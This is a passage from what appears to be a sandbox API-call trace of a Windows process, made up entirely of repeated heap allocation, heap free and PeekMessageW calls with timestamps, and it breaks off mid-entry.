1 [0132.594] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.594] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0132.594] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015ec0 | out: hHeap=0xe80000) returned 1 [0132.595] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.595] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.595] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.595] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0132.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.595] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.595] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.596] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.596] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.597] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.597] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554d0 [0132.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554d0 | out: hHeap=0xe80000) returned 1 [0132.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.597] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0132.597] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0132.623] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.623] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.623] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.623] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055650 [0132.623] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0132.624] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.624] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.624] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0132.624] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0132.625] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.625] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.625] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.625] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.625] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0132.625] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0132.626] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055790 [0132.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0132.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0132.626] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0132.627] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.627] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.627] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.627] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0132.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0132.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.627] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0132.627] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.627] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0132.628] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0132.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0132.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.628] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.629] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.629] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.629] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0132.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0132.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.629] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0132.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0132.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf128 [0132.629] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0132.630] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0132.630] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0132.630] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.630] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0132.630] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.630] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0132.630] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0132.631] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.631] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0132.631] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.631] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0132.631] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0132.631] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0132.631] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.631] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.631] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.632] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.632] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.632] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.632] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.632] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.632] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.632] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.632] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.632] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.632] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.632] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.633] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.633] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.633] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.633] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.633] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0132.633] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0132.633] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.633] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.633] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.633] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.634] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.634] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.634] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.634] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.634] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.634] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.634] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.634] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.634] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0132.634] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.635] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0132.635] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.635] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.635] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.635] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0132.635] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0132.635] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.635] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.635] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016280 [0132.635] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.636] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016280 | out: hHeap=0xe80000) returned 1 [0132.636] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.636] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.636] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.636] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.636] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.636] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.636] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.636] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.636] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.636] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.636] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.636] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.637] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.637] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.637] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.637] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.637] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.637] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0132.637] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.637] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0132.637] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.637] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf148 [0132.637] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.637] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0132.637] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0132.637] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.638] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0132.638] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0132.638] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.638] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0132.638] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.638] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.638] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.638] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0132.638] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0132.638] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.638] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.639] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0132.639] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.639] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0132.639] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.639] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.639] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.639] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0132.640] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0132.640] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.640] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.640] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015fc0 [0132.640] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015fc0 | out: hHeap=0xe80000) returned 1 [0132.682] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.682] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.682] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.682] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0132.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0132.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.682] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015fc0 [0132.682] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015fc0 | out: hHeap=0xe80000) returned 1 [0132.683] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.683] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.683] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.683] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0132.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0132.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.683] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.683] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.684] HeapFree (in: hHeap=0xe80000, 